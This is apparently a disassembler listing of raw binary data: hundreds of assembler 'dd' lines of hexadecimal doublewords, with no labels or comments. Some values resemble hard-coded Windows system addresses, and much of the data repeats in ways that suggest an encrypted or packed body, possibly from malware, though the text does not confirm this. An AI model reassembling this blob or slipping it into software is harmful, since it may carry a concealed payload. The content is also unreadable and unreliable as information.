		dd 56760841h, 7F796B35h, 0C9353A04h, 0CC7C089Fh, 52367B38h
		dd 3756BD4Fh, 0F164CCD8h, 2416A28Fh, 2B4E1F48h,	0E82DEC0Eh
		dd 0Ah,	0AF316A98h, 19D58F88h, 5FF8755Eh, 597CB752h, 0E52DC781h
		dd 8B0F0000h, 5, 0A9E38166h, 0E9C033E6h, 6, 0DBF45115h
		dd 34FF4982h, 0E3816638h, 0F5EB166h, 48Ch, 56B96600h, 32C68127h
		dd 0E95815EDh, 6, 0B6452290h, 0C681B2DFh, 656C26A9h, 0C68191B1h
		dd 7C50A135h, 8056C2B7h, 48F1AE5h, 0D68B6607h, 8118B060h
		dd 784621DAh, 0E8836119h, 0F881FC04h, 0FFFF1B58h, 0FFA8850Fh
		dd 8B66FFFFh, 9E8CEh, 48CB0000h, 6F82B9C3h, 56D11A7Bh
		dd 5EDBB70Fh, 81DE8B5Ah, 5864C2h, 0C933FC00h, 8BF2B70Fh
		dd 0B70F0A3Ch, 0DBC781DEh, 0F2E13F8h, 0C781F7B7h, 7BEE26CCh
		dd 0EF81F28Bh, 4AB35944h, 57C68B66h, 48FFE8Ah, 0D9BF0F0Ah
		dd 4567F381h, 0E9837141h, 0C68B6604h, 0A7F8F981h, 850FFFFFh
		dd 0FFFFFFBFh, 0ECE9ECB3h, 0
		dd 37000000h, 37C8106h,	587C81CEh, 57C80C0h, 0ED7C9010h
		dd 7C9010h, 276F200h, 5	dup(0)
		dd 0A0000000h, 7C80ADh,	2Bh dup(0)
		dd 6000000h, 14000000h,	5F1639E7h, 49516754h, 0BA4FAC37h
		dd 8C337614h, 0C4B2753Fh, 0C8B973EEh, 0AD8F9607h, 44340670h
		dd 9FB11C13h, 172139E7h, 0D82B6166h, 0FCF29E35h, 22321177h
		dd 1C4F90EFh, 15BF1375h, 4227BC1Bh, 7A69C699h, 3DB3A8E5h
		dd 0FC321375h, 0FC614571h, 22321177h, 1C4F90EFh, 15BF1375h
		dd 4227B30Ah, 7A69C699h, 1121FC93h, 1D791566h, 0C66EBC2h
		dd 0A78ACF64h, 0E14F6BDBh, 946BA2h, 68B3452Ah, 6A767B42h
		dd 0AF644D79h, 977A5108h, 4B6CE567h, 223214E7h,	0ACB1EC66h
		dd 8E28816Fh, 7B61A66h,	2D321566h, 113214E0h, 0DBFE066h
		dd 42286AE3h, 22339A69h, 0EECA1566h, 80DB75B6h,	0A4321566h
		dd 0DCBF0353h, 708BEBE5h, 88339669h, 0C9CA1566h, 384DA0E3h
		dd 19B91A60h, 87321566h, 443217E4h, 0DD537566h,	94F4E0B6h
		dd 8E210487h, 165AE930h, 0DEAEBDDEh, 1132128Fh,	0FE6F8566h
		dd 4D4CA4DEh, 3CDBA099h, 993D1375h, 88321567h, 0FB3D759Fh
		dd 0A7BF7498h, 17246955h, 0E8E2EA9Fh, 1D7EAB06h, 2ADB1325h
		dd 0D9321566h, 2C6D63BCh, 25B6CADEh, 0A7BB749Ah, 172108CFh
		dd 8FBD1A9Fh, 4B321566h, 223214E3h, 94F5ED66h, 8E2106EFh
		dd 44321566h, 80897306h, 0D7CE740Ch, 9B23F4E3h,	50DB5060h
		dd 15321566h, 0F43FABD2h, 530D12B3h, 0D8C4FE89h, 0C4181902h
		dd 79E989FDh, 6407C0Fh,	0FA544606h, 446DA563h, 707BA0D9h
		dd 995FA099h, 48DB1375h, 1B321566h, 71732A2Bh, 38C3FEF6h
		dd 0C9A0F207h, 3108B8E3h, 9F3D7560h, 88321565h,	0ADF59E00h
		dd 22321560h, 89824781h, 775370E9h, 48B01AB6h, 0CB321566h
		dd 11321561h, 7ADB9BD0h, 0CD201ED2h, 311CA0E3h,	94F4EC60h
		dd 8E210487h, 45B11A25h, 0D7321566h, 76594B0Eh,	36CB75FAh
		dd 227D959Bh, 4F87EA07h, 71340677h, 80DB09D4h, 0AF321566h
		dd 0AB986D3Ch, 7041BE8Fh, 0B29F90EBh, 48DB1375h, 63321566h
		dd 31EBC7DEh, 1FAD2577h, 0BBC436D7h, 27DB75B6h,	4B321566h
		dd 3157D579h, 0B5B79C07h, 0DA340FF5h, 0D390A0h,	70661375h
		dd 265A3C0Eh, 2EB51A88h, 0F8321566h, 88321561h,	64890BCAh
		dd 0DAB60245h, 5FA099h,	0F3D1375h, 44321567h, 0A7BFEC9Eh
		dd 17212FCBh, 88339A69h, 0BBCA1566h, 0A7BBEDB6h, 17288693h
		dd 88321F8Fh, 0F73D7866h, 0C91C00EAh, 1EDAADA1h, 883202E6h
		dd 55B51A66h, 0CB321566h, 1132156Ah, 423BDA1Bh,	408CF8F5h
		dd 356BE08Dh, 0D390A0h,	0E8771375h, 47BF1A9Eh, 44321566h
		dd 7953C3EDh, 52522DA4h, 2987EA93h, 2D340677h, 11321DEEh
		dd 8AB61A66h, 24321566h, 8FB79807h, 1E34065Ch, 883212E5h
		dd 45B11A66h, 0DB321566h, 0EDCBC599h, 1BCB90EFh, 0C33D137Ch
		dd 22321567h, 2C8F969Fh, 88340671h, 452F9069h, 0AA3D1566h
		dd 1132156Eh, 88309369h, 25521566h, 33D390A0h, 1E771375h
		dd 883203E3h, 54B31A66h, 0CB321566h, 1132156Dh,	8B25EDDDh
		dd 897B4456h, 4A359C66h, 0EB126BE0h, 99DA759Eh,	0FA321566h
		dd 1AB2F813h, 0A78D7BBFh, 81718237h, 481B640h, 2232198Fh
		dd 4E5E4F66h, 6667387Ch, 7B95E617h, 588B4B5Dh, 70501859h
		dd 995FA099h, 0C9C71375h, 3108B8E3h, 0BA1A60h, 61321566h
		dd 4432156Ah, 0EA3C508Ch, 4D6F1339h, 98A600B4h,	0CDCBC599h
		dd 38A1E8E3h, 1BB71A60h, 61321566h, 44321563h, 29826EDBh
		dd 0F0B7D308h, 0C4340677h, 443BFC93h, 27FA1566h, 3815B1BAh
		dd 0E0F024E1h, 0A414C5A5h, 22349969h, 43521566h, 0E953753Fh
		dd 555FA099h, 0AFCE1375h, 208B8E3h, 85B41A60h, 24321566h
		dd 72D19400h, 2E2949Ah,	0E931A3AAh, 0CB3DC599h,	22321567h
		dd 10B79C9Ah, 61340FF2h, 44321577h, 0A5243A90h,	0DA1728B2h
		dd 264F719Dh, 14812694h, 2367FC9Ah, 77521566h, 3D866DEh
		dd 82CA74BFh, 3123F4E3h, 9A524760h, 4B8D1AA8h, 495AED07h
		dd 0DA8E5F82h, 5FFA099h, 9CDB1375h, 5D321566h, 47CB7066h
		dd 0F9D90C0Eh, 196E1F58h, 0EDEA1700h, 0AFBE73D5h, 208B8E3h
		dd 87DB7560h, 79321566h, 1786B13Dh, 8A2595D4h, 5DC71A59h
		dd 15622B31h, 0DD534A38h, 33B91AB6h, 0E8321566h, 4432018Eh
		dd 240A766h, 52B40A16h,	0FBC90DC8h, 0CB2F2FA5h,	9CF6476h
		dd 983D4F97h, 88321566h, 0B9B79C07h, 0DA340FF5h, 0D390A0h
		dd 87601375h, 44320CECh, 2226FC66h, 0A67A1566h,	90781FF2h
		dd 0D38E3671h, 93B92762h, 673188A9h, 3D53B0h, 44321567h
		dd 687A7D93h, 973DB32Ah, 88321562h, 25537506h, 36FFA099h
		dd 943D1375h, 88321571h, 4432078Fh, 0F0F4B166h,	11EFDE21h
		dd 0A3F3EC1Fh, 0A918C863h, 0AFE4A1C9h, 208B8E3h, 81B01A60h
		dd 24321566h, 6548CDD9h, 7023A719h, 8832068Fh, 0C2C90866h
		dd 0A9CF0471h, 9962A2Ch, 0AA3DC347h, 17E3CDBCh,	31DBC599h
		dd 31321566h, 3B9DF7DAh, 2B0B1CCAh, 0FE61078Eh,	4C2F455Ch
		dd 1C73447h, 5EA614E3h,	0AE3D7560h, 1132156Ch, 8832108Fh
		dd 9050B66h, 0AE3D481Bh, 11321564h, 4E5392D1h, 5723F4E3h
		dd 4AC74760h, 0EC70A18Ch, 26E99506h, 44379569h,	0A3541566h
		dd 708BCBBFh, 995FA099h, 0AD521375h, 22321575h,	30B8B938h
		dd 71AA0F36h, 0D726C5B4h, 3795ECD1h, 0F9C7C371h, 8832156Eh
		dd 949D1C7Ch, 5D7B760Dh, 11329E69h, 0E96A1566h,	7E9F90EBh
		dd 0A9521375h, 0E38D1AA8h, 93B41A07h, 24321566h, 2232048Fh
		dd 0C5243F66h, 1E36AE54h, 0DE83E96Ah, 0DA066798h, 0A63D7940h
		dd 58CD7498h, 44209A69h, 2FDB1566h, 39321566h, 18A6805Dh
		dd 0A4B4BF59h, 0EA6DBF18h, 77F09E06h, 7E06FDE7h, 25B79C07h
		dd 2D340668h, 11320EE7h, 41B27566h, 4422FD9Eh, 0EA471566h
		dd 0C39AA28Ah, 1C93D14Fh, 50D3082Ah, 436BEE54h,	0D390A0h
		dd 7D451375h, 0C43DE906h, 2232156Bh, 11321D8Fh,	1A6ABB66h
		dd 0ABD6AEB4h, 815A747Ch, 0F8C182CEh, 88321575h, 0C4EB67B3h
		dd 69AFC12h, 7979C616h,	52995FA9h, 0AD268A91h, 22321561h
		dd 0F733A166h, 77678B86h, 5722C4D3h, 0A7BFE960h, 17212FCBh
		dd 88399D69h, 42DB1566h, 0D6321566h, 0B6B72FFDh, 71E2EAB7h
		dd 640390EFh, 2EDB1375h, 12321566h, 0D8A6C086h,	0F0CE74B1h
		dd 42346A4Bh, 70F09E00h, 99D390A0h, 0B8601375h,	0FF03020Eh
		dd 10B91AECh, 7D321566h, 555FA099h, 0AFCE1375h,	208B8E3h
		dd 883DFC60h, 0B7641566h, 0C1DDB664h, 14F79405h, 3705A591h
		dd 0B1E2EA3Fh, 2232048Fh, 0FF2EB466h, 0AAF590FCh, 0F7B8C304h
		dd 2E389BFFh, 94BBF2F6h, 8E213EBFh, 0A5B7D39Ah,	74340677h
		dd 11279569h, 98DB1566h, 57321566h, 8F328408h, 2639A223h
		dd 45C7E2D6h, 2C354292h, 0F62D785Fh, 0F887EA93h, 87340678h
		dd 443214E3h, 0CA52E066h, 11321560h, 5BFB2950h,	90B88554h
		dd 24BA1A39h, 1E321566h, 883215EEh, 0C1BF7466h,	24246955h
		dd 0AE3DE006h, 58CD74A7h, 4432018Fh, 9F669C66h,	0E8769E11h
		dd 3549BD80h, 5B832E22h, 0DF039DB7h, 24B79C0Dh,	61340667h
		dd 44321575h, 0A969A37h, 0C07B421h, 0D25F1BF6h,	8D15114Ch
		dd 0E4FBE962h, 223F4E3h, 0E0CA5260h, 0C5EE051Ch, 2DC39E06h
		dd 113217EEh, 0E9C19F66h, 2987EA9Eh, 2D340677h,	113214EEh
		dd 0DBFED66h, 42212FCBh, 22339369h, 0EEC71566h,	13D75B6h
		dd 44321564h, 0DCB94C34h, 84B79C07h, 7D340675h,	0B5B37306h
		dd 0A63DE883h, 11321560h
		dd 88329969h, 82531566h, 3123F4E3h, 1E525260h, 0E053EAD1h
		dd 0CE3DA084h, 0F8E09406h, 773C741Ah, 0B68AD7E7h, 2987EA07h
		dd 0DA340677h, 2B9F90EBh, 0E9521375h, 2252C599h, 7964D4E7h
		dd 6EDB33DFh, 0DBB7421h, 42288147h, 2D52A606h, 113215EBh
		dd 0DF57466h, 42211067h, 2232151Eh, 11321D8Fh, 0C4611766h
		dd 6C330BF4h, 0C78F96DCh, 11340661h, 903C9169h,	0C73D1566h
		dd 2232156Eh, 0C747AB06h, 0E9CB3D02h, 55D390A0h, 0CB7E1375h
		dd 11321563h, 56103EDEh, 58DB7D78h, 42C7CCBCh, 0BA7ED6E7h
		dd 9545631h, 255D02B7h,	335FA099h, 9B3D1375h, 88321567h
		dd 0E9B7989Ah, 4234065Ch, 0BF38AE00h, 0E9F59E00h, 44339F69h
		dd 0DDCA1566h, 113FFCB6h, 8A881566h, 6DC50182h,	4CB1FB51h
		dd 98BAC7A7h, 92A618E3h, 0C1F4E960h, 24210487h,	1121FC2Ah
		dd 684F1566h, 5BDA47A9h, 967DE5E8h, 4A59BDD0h, 72DA92BCh
		dd 9AFC7D7Ch, 0A852C812h, 0DFD994BBh, 0E95826EDh, 4432068Fh
		dd 222C9666h, 1C957496h, 0BF7276B2h, 0E1B356A9h, 269FCC2Fh
		dd 5FA099h, 7D521375h, 44259769h, 30DB1566h, 73321566h
		dd 26E6031h, 0BC84217h,	8C50DFF8h, 0EB27150Fh, 0DBF74E3h
		dd 42212FCBh, 22321E8Fh, 0D87F5E66h, 0C51CCAE4h, 69E84C88h
		dd 2ADBC599h, 0F7321566h, 0E156B2B4h, 247833C8h, 2232188Eh
		dd 0FB570666h, 708EE3ADh, 48F57A78h, 0A3545DB9h, 48FB98A7h
		dd 0E997F1E6h, 0D02390EFh, 4452137Ch, 70EB32DCh, 99D390A0h
		dd 4B7E1375h, 223203EFh, 1123FC66h, 94931566h, 83B78F88h
		dd 0A8E47744h, 1BBC8CD5h, 0E0D5856Ah, 0F3B39759h, 4F87EA9Eh
		dd 71340677h, 0E8C2A269h, 25534A35h, 189F90EBh,	0F8521375h
		dd 88321577h, 169E948h,	0FEE9EBF3h, 0B362CC44h,	81210932h
		dd 4435FC30h, 8CF91566h, 679591D6h, 58CD74C4h, 4432138Fh
		dd 280D2566h, 98387FE5h, 92A600E3h, 4EBF1A60h, 0CB321566h
		dd 11321563h, 7E2048F2h, 443CFC53h, 895F1566h, 83401131h
		dd 0B8AE9792h, 1A30F156h, 33D390A0h, 0E97E1375h, 0A7720D0Eh
		dd 443BFCD5h, 0EEC61566h, 0B052AD69h, 612BA17Eh, 44321574h
		dd 0E788E8C0h, 8DF2B5E6h, 13F89468h, 0CD1980C6h, 97CD936Eh
		dd 1721040Bh, 883B9A69h, 0BD521566h, 1A9BC2E7h,	9C53613Eh
		dd 9B08B8E3h, 45BF1A60h, 0DE321566h, 9052C599h,	613367BDh
		dd 0C93D741Dh, 22321561h, 11339369h, 1CA1566h, 5EA600E3h
		dd 0D3B37560h, 3317E05Ah, 69B7D307h, 2340677h, 44C19E06h
		dd 701CC1DCh, 5634010Eh, 5DB71ADCh, 0CB321566h,	11321572h
		dd 0D10EB3CCh, 0E91F374Eh, 97B0DA76h, 7B5786E4h, 0CBE2629Ah
		dd 555FA099h, 0AA3D1375h, 11321567h, 25B7989Ah,	0AD34065Ch
		dd 2232156Bh, 6371BF4Ch, 0AF13BE21h, 7F6CB2FAh,	0CBE2EA55h
		dd 11321574h, 36CDEBB7h, 17FF8F40h, 7DFB3507h, 0E1FE32F7h
		dd 0DBB033Bh, 4228817Bh, 2F87ED06h, 0F0B7D307h,	0CF340677h
		dd 44321C8Fh, 4C3D4766h, 91EB67B3h, 0F25AFC12h,	24B3C976h
		dd 44E29E00h, 5AA1FAE7h, 0E587EA07h, 0BC340677h, 189F90EBh
		dd 1ADB1375h, 0D9321566h, 6A42BCE1h, 5C54D0BEh,	0C1CDD5B6h
		dd 40B3EC06h, 6EB8AE94h, 0A7BBED07h, 17288143h,	69B7D393h
		dd 3340677h, 2235FC06h,	96AC1566h, 0AE88D18Ah, 0E85A74B8h
		dd 42DD92E8h, 11379869h, 698C1566h, 223CCA7Ch, 4253CAEDh
		dd 11369369h, 33541566h, 0F33DD5F0h, 97CD7496h,	1721040Bh
		dd 54B2759Eh, 4423FD3Fh, 23151566h, 617426F1h, 2F8C9BA3h
		dd 0C8FF08A6h, 939D8789h, 9C534BD1h, 9B08B8E3h,	45B21A60h
		dd 0DA321566h, 7752C599h, 0EE23CBDFh, 25E0C6DEh, 223EFC06h
		dd 0F88D1566h, 3E89E117h, 0ABEB3EE3h, 0AB536B1Fh, 0BA63CE3h
		dd 99B81A60h, 4B321566h, 22321EE8h, 1134FC66h, 5CDF1566h
		dd 0EF328A65h, 33D390A0h, 71751375h, 88309A69h,	25521566h
		dd 22321C8Fh, 2ADC2A66h, 0E1BC23C5h, 0AD53D446h, 22321561h
		dd 0C88F3B69h, 0E0435DDFh, 90A8B2B4h, 2232078Fh, 7BB0D766h
		dd 94784395h, 0A861B72Fh, 58212F6h, 0EEC3B283h,	9B2378D3h
		dd 0FC547560h, 0AC3D2917h, 11321564h, 553D5D7h,	5708B8E3h
		dd 31B71A60h, 1E321566h, 883218E1h, 443AFC66h, 1BE61566h
		dd 92147C6Ah, 58CDC900h, 4432018Fh, 86B3F566h, 3A803B4Ch
		dd 2AD99EFAh, 0B3EC384Bh, 4116BC25h, 3CB79C76h,	87340FF2h
		dd 443213E3h, 7A647566h, 0D7537406h, 9B23F4E3h,	56DB5260h
		dd 0E321566h, 0A2BC3556h, 0D63E2DBBh, 3BF85854h, 8AF239BBh
		dd 155AED23h, 8788D45Fh, 44320DE5h, 33DB7566h, 8321566h
		dd 0C06D3F71h, 60726FC1h, 94F37FEEh, 72FBB915h,	0E587EA07h
		dd 0AD340677h, 22321577h, 0D505DA0Dh, 8E01C41h,	0B7746111h
		dd 93E35394h, 0BCB798B3h, 0E834065Ch, 2E3D18D9h, 43C79F3Dh
		dd 7752C599h, 1B06FAE7h, 4432078Fh, 0ED959666h,	2E0ED9D5h
		dd 0F664EAC0h, 0E890ED26h, 43857F88h, 20B79C93h, 61340FF2h
		dd 44321563h, 742A36F5h, 113DFCB7h, 2161566h, 3C9CEFh
		dd 0C1D858B4h, 1ADA5B4Ah, 0F18F9620h, 44340671h, 225D9069h
		dd 71CB1566h, 354E5ECh,	0C1F474B7h, 24210487h, 765AE921h
		dd 0E8D2674Bh, 85F1AE00h, 43C89E00h, 1132068Fh,	20352D66h
		dd 87A25DE4h, 6D3530E7h, 9617B03h, 0A2BE67C0h, 555FA099h
		dd 42CB1375h, 1E52F4D1h, 883215E1h, 83FF9566h, 0A7BF7407h
		dd 17212FCBh, 87E2EA93h, 443214EBh, 0ABCAE966h,	0BA620E3h
		dd 8835FC60h, 19251566h, 50D1A5C5h, 0F0B7D341h,	0CF340677h
		dd 44321A8Fh, 8CF15266h, 656938FEh, 7835E3Ch, 0DF577F62h
		dd 0B81A40Eh, 905475E8h, 876368B6h, 0BB53CED1h,	312378D3h
		dd 94BFEC60h, 8E212FCBh, 2211A606h, 4325E5E7h, 71E2EA07h
		dd 0E9CE50D2h, 0D00B90EFh, 0E4CA137Ch, 223F4E3h, 0C3D5660h
		dd 44321567h, 68957D9Fh, 923DD510h, 88321561h, 44339869h
		dd 0CBCE1566h, 11321569h, 495BFF0h, 0CF016AFh, 0E939EE36h
		dd 0EEFBB317h, 9B2378D3h, 4B52E960h, 0A354C6D1h, 70AAA8BDh
		dd 0B29F90EBh, 54DB1375h, 19321566h, 0E5CE3498h, 3B7E97A2h
		dd 5145B2DDh, 0DD6A0C01h, 1135FCB6h, 0CE771566h, 1A142FC4h
		dd 1FB79C02h, 71340FF2h, 0D8FBAA69h, 4B534E93h,	223201E5h
		dd 113DFC66h, 7F491566h, 0E8C200B0h, 38C04A72h,	0CD802CA4h
		dd 69B7D30Dh, 8340677h,	22359369h, 933D1566h, 88321567h
		dd 28D97D9Fh, 31DBEE00h, 0DC321566h, 442201C9h,	40531A0Dh
		dd 8A725B32h, 0F56DA3A3h, 3DCD52F5h, 422105B7h,	2232188Fh
		dd 0DFF01466h, 0CC04BCF3h, 4C567D5Ch, 0A7BFAD7Dh, 17212FCBh
		dd 8832068Fh, 84B1BD66h, 0DA02613Fh, 0A3B74254h, 4EE9ADD6h
		dd 820D8979h, 0ABCBC599h, 0BA6C4E3h, 8FBD1A60h,	24321566h
		dd 42A3E3E6h, 94F47407h, 8E210487h, 0BAB97522h,	775A749Eh
		dd 0F88966E8h, 88321561h, 0F8B672ECh, 0DDC4E080h, 22378D3h
		dd 0F3DE060h, 4432156Ch, 2232108Fh, 5F9A66h, 0DBFDCBDh
		dd 42212FCBh, 2232108Fh, 0BB3AB66h, 58CD6159h, 44379969h
		dd 44521566h, 1E53E2EDh, 883214E0h, 0C1BBE966h,	24288127h
		dd 12BB1A06h, 0EE321566h, 8253DEEDh, 3123F4E3h,	9E3D5660h
		dd 8832156Ch, 9EB97306h, 2D0050D8h, 0ED5A745Dh,	0E88E9B08h
		dd 0CF54CBEDh, 445274A8h, 0AE7A05D9h, 0D85F0596h, 2987EA07h
		dd 0D7340677h, 2B9F90EBh
		dd 87521375h, 443214EDh, 0DD53E966h, 94BBE9B6h,	8E288123h
		dd 44269969h, 44521566h, 0F80D8DDEh, 8832156Fh,	14A14A9Dh
		dd 55125A7Ah, 1CDB74F2h, 0CF321566h, 5C45C197h,	0BE61C7DCh
		dd 62929C75h, 99D390A0h, 4B611375h, 223201E5h, 113DFC66h
		dd 0D7AC1566h, 0EC37597Ah, 3E84A576h, 0E383F193h, 0B6987D0Ah
		dd 0AD52D376h, 22321560h, 37C4F032h, 8FDB58A4h,	95321566h
		dd 203DA313h, 715381C1h, 8839FC37h, 0CE21566h, 0AA1CB548h
		dd 0FA6E3122h, 8EDA4EABh, 3F321566h, 8B37BA82h,	11B81A20h
		dd 0D7321566h, 2987EA07h, 2D340677h, 113212E6h,	89BA1A66h
		dd 0BC321566h, 189F90EBh, 71CA1375h, 8832048Fh,	0BAB74E66h
		dd 1E8BE02Dh, 332D797Ch, 3FC31D6Ch, 4FDA5D71h, 0EC321566h
		dd 0D2A1F5F7h, 589D1C7Ch, 2568760Dh, 2D52C599h,	1BDBE5D9h
		dd 0B1321566h, 0D53C39C5h, 9EA17EC6h, 94BB7481h, 8E28812Fh
		dd 598F969Eh, 22340679h, 12F79169h, 87521566h, 443207E0h
		dd 223FFC66h, 8F781566h, 6E2660F9h, 0F9A958BBh,	9CB12242h
		dd 649E0D8Fh, 69B7D307h, 2340677h, 0A954E006h, 205A74BFh
		dd 70C883A8h, 555FA099h, 0AE3D1375h, 11321567h,	25B7989Fh
		dd 0BC34065Ch, 0A352C599h, 3B0366ACh, 883AFD11h, 0FCA81566h
		dd 467B93A3h, 1681117Dh, 0DBB743Fh, 422881C3h, 2232188Fh
		dd 2142BE66h, 6AC3EC2h,	42122D67h, 0E4C7086Eh, 223F4E3h
		dd 0E0CE5360h, 0B8952FB0h, 2226FD06h, 17FA1566h, 64AEB86h
		dd 656DCC9Dh, 0E76227F5h, 0C6499FC8h, 4AB96C04h, 0B48D1A38h
		dd 4F87EA07h, 71340677h, 40E0959Eh, 0E9B79807h,	4234065Ch
		dd 0D6851A9Ah, 70E2EA07h, 0D08790EFh, 0AA3D137Ch, 1132156Bh
		dd 88321D8Fh, 83BC3966h, 0C564303h, 0F0B7D3A2h,	0CE340677h
		dd 4432058Fh, 243B7666h, 1B8F2C31h, 9EE3B07Fh, 8A6E8C27h
		dd 86327DE9h, 1CDB879Ah, 0A3321566h, 0FEB24A14h, 0ED894E0Ch
		dd 29588C61h, 8832048Fh, 0F2526266h, 86DF44AAh,	0FC818B70h
		dd 1DBF22B8h, 0F1CD5510h, 2421040Bh, 1121FC06h,	0DCDC1566h
		dd 3F47811Eh, 0EB6EB7AEh, 795B13D5h, 1E3F3CABh,	0C1BF74BDh
		dd 24212FCBh, 112A9C69h, 9BDB1566h, 56321566h, 696E114Fh
		dd 0E1E987A5h, 0B18318D4h, 0F782C661h, 0F2CD3CB9h, 0A8B79C93h
		dd 71340FF2h, 55D390A0h, 2D741375h, 113214E1h, 0E25AE066h
		dd 0BDC4C129h, 335FA099h, 9CCE1375h, 9B08B8E3h,	42DB7560h
		dd 91321566h, 98827C98h, 80DB7431h, 25321566h, 2833E506h
		dd 0EEF7B033h, 70B975B6h, 1FE59E35h, 9FB79C07h,	0ED340FF2h
		dd 88289669h, 0C4521566h, 2DDAAC84h, 0BA321566h, 0C10F45FCh
		dd 0CA038EA7h, 3B803114h, 706B3FDBh, 99D390A0h,	4B741375h
		dd 22320CE3h, 1126FC66h, 11901566h, 0F7D4C719h,	0FDA4BCD3h
		dd 6B6A93B4h, 5593CA5Dh, 55DB87C8h, 2F321566h, 0A2F1AFEDh
		dd 4178F086h, 302E32C7h, 295582F3h, 0DC62F20Eh,	5EB375F2h
		dd 700BA8BBh, 0DD53CBEDh, 22378D3h, 90B81A60h, 0AD321566h
		dd 22321575h, 2DA6C4F5h, 1D2CABC1h, 6977F65Fh, 5A9DF4E0h
		dd 0E9C886CFh, 0B29F90EBh, 0AD521375h, 22321576h, 0E726908Fh
		dd 0B02CFE91h, 49DCACB1h, 3B613073h, 11329969h,	77531566h
		dd 55DA75B6h, 0DE321566h, 0C7366E07h, 56D23392h, 7A2CECAAh
		dd 0E4CC9386h, 8AF89400h, 23D4A43h, 44321562h, 1189AA00h
		dd 0B8B79C07h, 74340FF2h, 55D390A0h, 0DB741375h, 33462E0Eh
		dd 883EFCD7h, 0D51D1566h, 10568F31h, 516A094Dh,	3DCD64B4h
		dd 4221040Bh, 0EAB97306h, 11321E8Eh, 87F8E866h,	0F00FC8B0h
		dd 0B7D1DC4Ah, 4EEC9E00h, 0DBFE007h, 42212FCBh,	22219969h
		dd 1FDB1566h, 0DF321566h, 24BFAD74h, 0A48AC04Ah, 45CDA1E0h
		dd 0E8E2EAFDh, 4432108Fh, 68E76366h, 1E533DBFh,	883201ECh
		dd 4AB11A66h, 0CB321566h, 1132156Fh, 2CC91E2Dh,	7B74EDB2h
		dd 8FB79CA6h, 1E340FF2h, 883214E2h, 82CBEC66h, 3123F4E3h
		dd 9A3D5360h, 88321561h, 44339B69h, 4ACB1566h, 0CE4BFF8Bh
		dd 0D6627506h, 44321D8Fh, 5249A66h, 24549F5Dh, 354745Ah
		dd 0F1CD74B5h, 2421040Bh, 11269269h, 87DB1566h,	0E2321566h
		dd 1A4C5Ah, 0DE22B84Bh,	1BB0A0E4h, 0CF527F03h, 0A7BF749Dh
		dd 17212FCBh, 8832018Fh, 0EB6E1D66h, 6F27F02Bh,	0F2F86C85h
		dd 3684172Ah, 4B481179h, 2DE2EA60h, 113210EDh, 0E9527566h
		dd 0C1BB749Fh, 242881D7h, 0C3B3759Ah, 8FA9D96Dh, 0C753D2EDh
		dd 31256CDBh, 943D1560h, 883215F1h, 4421FC06h, 0D6DD1566h
		dd 54F4E46Fh, 540B91B4h, 0F0A6FC7Eh, 0DA76C943h, 0C9B97330h
		dd 883FFC07h, 29C51566h, 118D042Fh, 9682B288h, 4E940E38h
		dd 5723F4E3h, 44524660h, 0A63DD6EDh, 0D65A74AFh, 4BFCAB86h
		dd 22321EEAh, 9E8A7566h, 0EE01AE00h, 2565F5D8h,	335FA099h
		dd 17DB1375h, 61321566h, 0CE805205h, 8FB79811h,	0ED34065Ch
		dd 9CDBC599h, 0BB321566h, 7F380C3Fh, 6770721Eh,	0CFA0E2B1h
		dd 0F264326Dh, 0ABB3D2CCh, 0BA658E3h, 5FB97560h, 0E86FF2E7h
		dd 0E45345CFh, 223F4E3h, 7D525260h, 44349B69h, 0F4B31566h
		dd 3132F93Ch, 0D6B57D07h, 0CB3DD2D7h, 2232156Bh, 0D3B37306h
		dd 93DB0D7h, 44321566h,	4F87EA07h, 0ED340677h, 0B29F90EBh
		dd 4B521375h, 223217E1h, 0E8694266h, 0E8E2EA07h, 0B863DEEDh
		dd 0A7BB743Fh, 17288137h, 8832048Fh, 67D3A766h,	72B20040h
		dd 0CBB0C785h, 0E1C1C65Eh, 0F9B18835h, 2421021Fh, 71B71A66h
		dd 0E8321566h, 44349769h, 0C0B31566h, 592A1588h, 0E9C39E00h
		dd 55D390A0h, 0DE751375h, 734C100Eh, 3DCDED80h,	4221040Bh
		dd 8FB7989Eh, 7134065Ch, 88369A69h, 0FA541566h,	0DD5374DAh
		dd 168C75B6h, 610B6B04h, 44321575h, 3B2592Fh, 0B8785088h
		dd 0F822FD5Bh, 0ECE584C9h, 43EE6894h, 856790EFh, 4ECA137Ch
		dd 5723F4E3h, 0A43D5660h, 1132156Dh, 8832138Fh,	86DB6B66h
		dd 4A9851C0h, 83481C90h, 88321B8Fh, 8C2F8866h, 81BFD862h
		dd 78C76E46h, 0E8AFEFDBh, 0BCC8A269h, 4F87EA07h, 71340677h
		dd 61F8A269h, 4432156Eh, 0F3C7E679h, 394D7A60h,	25B79807h
		dd 4B34065Ch, 223202E6h, 1120FC66h, 73021566h, 0C917124Dh
		dd 0DFA72FEDh, 0D507EB81h, 0D0BDA4Bh, 0F152C599h, 24B61AF0h
		dd 90321566h, 1DABB48Eh, 0C1BB7407h, 2428813Fh,	1132138Fh
		dd 0EB3BB366h, 82ACAB41h, 3123F4E3h, 79C75660h,	74138246h
		dd 44359769h, 0A83D1566h, 11321567h, 0E587EA93h, 0AD340677h
		dd 22321575h, 0EF7FAB92h, 0D2E7325h, 0E2D5A04Fh, 1F402471h
		dd 9C543745h, 9B08B8E3h, 0C5547560h, 2D85AFADh,	113211E0h
		dd 0C1887366h, 94CD74A7h, 223A9869h, 993D1566h,	88321564h
		dd 0C1BB7406h, 2428813Bh, 688F969Fh, 88340671h,	44D49069h
		dd 0A83D1566h, 11321561h, 88339669h, 0ADCA1566h, 22321574h
		dd 0AAB5D648h, 48B49F3Dh, 952CB764h, 0C4F0BC9Fh, 94F4E6C5h
		dd 8E210487h, 475AE025h, 42B915CEh, 1CDA439Ah, 1F321566h
		dd 0BBEB4E26h, 0A4D77145h, 87AEFD0Fh, 87534A3Dh, 443214ECh
		dd 97CDEC66h, 1721040Bh, 8832068Fh, 7A636A66h, 111BCE57h
		dd 0C6F80076h, 684852BDh, 8538E044h, 189F90EBh,	0EECA1375h
		dd 9DB31AB6h, 24321566h, 22321E8Fh, 2A484D66h, 26EFB4B9h
		dd 31ABCDF4h, 43C19E00h, 855790EFh, 8752137Ch, 443217EEh
		dd 43E39E66h, 0D390A0h
		dd 61711375h, 44321569h, 0CC44DE0Ch, 1882FCAAh,	45EC1663h
		dd 2CDBBE29h, 0C76923B3h, 7C87EA9Fh, 71340677h,	7E9F90EBh
		dd 0DACA1375h, 71C7C599h, 8956AC00h, 0B520AB00h, 43B79C07h
		dd 0E8340FF2h, 99D390A0h, 0B1711375h, 2222FD06h, 0AD1F1566h
